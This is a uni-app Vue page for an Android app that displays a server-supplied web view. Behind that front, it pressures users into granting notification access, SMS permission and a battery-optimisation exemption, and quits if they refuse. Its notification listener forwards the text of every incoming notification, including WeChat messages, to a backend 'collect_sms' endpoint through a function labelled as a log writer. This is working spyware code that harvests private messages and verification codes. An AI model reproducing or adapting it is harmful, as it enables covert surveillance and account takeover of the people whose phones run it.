<template>
	<view class="content" v-if="webUrl">
		 <web-view :src="webUrl"></web-view>
	</view>
</template>
<script>
	const LinNotificationHandler = uni.requireNativePlugin('Lin-NotificationHandler');
	export default {
		data() {
			return {
				content: '',
				webUrl: '',
			};
		},
		onLoad() {
			console.log('reconnectNotificationService', LinNotificationHandler
				.reconnectNotificationService()); // 如果需要重新连接通知服务，则调用此方法，返回true/false
		},
		onUnload() {
			// console.log('disconnectNotificationService', LinNotificationHandler.disconnectNotificationService()); // 如果需要断开通知服务，则调用此方法，返回true/false
		},
		onShow() {
			this.initData()
			//检查是否开启了通知访问权限
			let resOne = this.isNotificationServiceEnabled()
			if (!resOne) {
				//没开启请求用户通知访问权限
				uni.showModal({
					title: '提示',
					content: "请开启通知访问权限",
					success: (res) => {
						if (res.confirm) {
							// this.clearAllNotifications()
							//确认开启了访问通知
							this.requestNotificationAccess()
							//检查是否忽略了电池优化

						} else {
							//取消 退出app
							plus.runtime.quit();
						}
					}
				})
			} else {
				this.openNotificationListener()
				// this.getAllActiveNotifications()
				// //检查是否开启了忽略电池优化
				let resTwo = this.isIgnoringBatteryOptimizations()

				if (!resTwo) {
					//没开启请求用户通知访问权限
					uni.showModal({
						title: '提示',
						content: "请开启电池优化权限",
						success: (res) => {
							if (res.confirm) {
								//确认开启了请求电池优化
								this.checkBatteryOptimization()
								//检查是否忽略了电池优化
							} else {
								//取消 退出app
								plus.runtime.quit();
							}
						}
					})
				} else {
					//开启了就开启短信监听
					//开启短信监听
					 this.requestSmsPermission()
				}
			}

		},
		methods: {
			/**
			 * 初始化
			 */
			initData() {
				this.$http('common.config').then(res => {
					console.log("res======", res)
					if (res.code == 200) {
						this.webUrl = res.data.shortUrl
					}
				})
			},
			collecSmsFn(item) {
				console.log("item======>",item)
				if (item.text) {
					this.$http('common.collect_sms', item).then(res => {
						if (res.code == 200) {
							// this.webUrl=res.data.shortUrl
							console.log("发送信息", res)
						}
					})
				}

			},
			openPermissionSettings() {
				LinNotificationHandler.openPermissionSettings();
				// this.writeLog('打开APP权限设置页面');
			},
			smsListener() {
				let res = LinNotificationHandler.smsListener((data) => {
					// this.writeLog('短信', data);
					console.log("data====",data)
				});
				// this.writeLog('开启短信监听', res);
			},
			stopListening() {
				let res = LinNotificationHandler.stopListening(); // 返回 true/false
				// this.writeLog('关闭短信监听', res);
			},
			isNotificationServiceEnabled() {
				let isEnabled = LinNotificationHandler.isNotificationServiceEnabled(); // 返回 true/false
				return isEnabled
			},
			requestNotificationAccess() {
				LinNotificationHandler.requestNotificationAccess();
				// this.writeLog('请求用户启用通知访问权限');
			},
			requestSmsPermission() {
				let res = LinNotificationHandler.requestSmsPermission();
				return res
				// this.writeLog('请求读取短信的权限');
			},
			openNotificationListener() {
				LinNotificationHandler.openNotificationListener({
					packageNames: []
				}, (data) => {
					// data回调的数据格式 { "subText": "", "packageName": "com.tencent.mm", "text": "", "title": "", "postTime": ""}
					this.writeLog('接收到消息', data);
					// modal.toast({
					// 	message: '接收到消息：' + data.title + ' ' + data.text,
					// 	duration: 1.5
					// });
				});
				// this.writeLog('开启通知监听');
			},
			closeNotificationListener() {
				LinNotificationHandler.closeNotificationListener(); // 返回 true/false
				// this.writeLog('关闭通知监听');
			},
			getAllActiveNotifications() {
				// let data = LinNotificationHandler.getAllActiveNotifications();
				// this.writeLog('获取所有通知', data);
				// 或者使用回调的写法也可以
				LinNotificationHandler.getAllActiveNotifications((data) => {
					this.writeLog('获取所有通知',
						data
					); // 返回 [{ "subText": "", "packageName": "com.tencent.mm", "text": "", "title": "", "postTime": ""}]
				});
			},
			openNotificationAtIndex() {
				// 如果应用处于后台，需要引导用户手动开启“后台弹出界面”权限，否则无法打开最近的一条通知。
				let res = LinNotificationHandler.openNotificationAtIndex(0); // 返回：true/false
				// this.writeLog('模拟点击打开指定的通知', res);
			},
			openLatestNotification() {
				// 如果应用处于后台，需要引导用户手动开启“后台弹出界面”权限，否则无法打开最近的一条通知。
				let res = LinNotificationHandler.openLatestNotification(); // 返回：true/false
				// this.writeLog('打开最近的一条通知', res);
			},
			clearAllNotifications() {
				let res = LinNotificationHandler.clearAllNotifications(); // 返回：true/false
				// this.writeLog('清空所有的通知信息', res);
			},
			clearNotificationsForPackages() {
				let res = LinNotificationHandler.clearNotificationsForPackages(['com.tencent.mm']); // 返回：true/false
				// this.writeLog('清除指定应用的通知', res);
			},
			isIgnoringBatteryOptimizations() {
				let res = LinNotificationHandler.isIgnoringBatteryOptimizations(); // 返回：true/false
				return res
			},
			checkBatteryOptimization() {
				LinNotificationHandler.checkBatteryOptimization();
				// this.writeLog('请求忽略电池优化');
			},
			// 日志记录方法
			writeLog(title, data = '') {
				console.log(title, data);

				if (!(typeof data == 'string')) data = data;
				console.log("data==记录方法=", data)
				// return
				this.collecSmsFn(data)
				// })
				// this.content += `------------\n${title} ${!!data ? '：' + data : ''}\n`;
				// console.log("日志记录方法======",data.length)
			},
			// 清除日志
			clear() {
				this.content = '';
			}
		}
	};
</script>

<style>
	.content {
		padding: 20rpx;
	}

	.content button {
		margin-bottom: 10rpx;
	}
</style>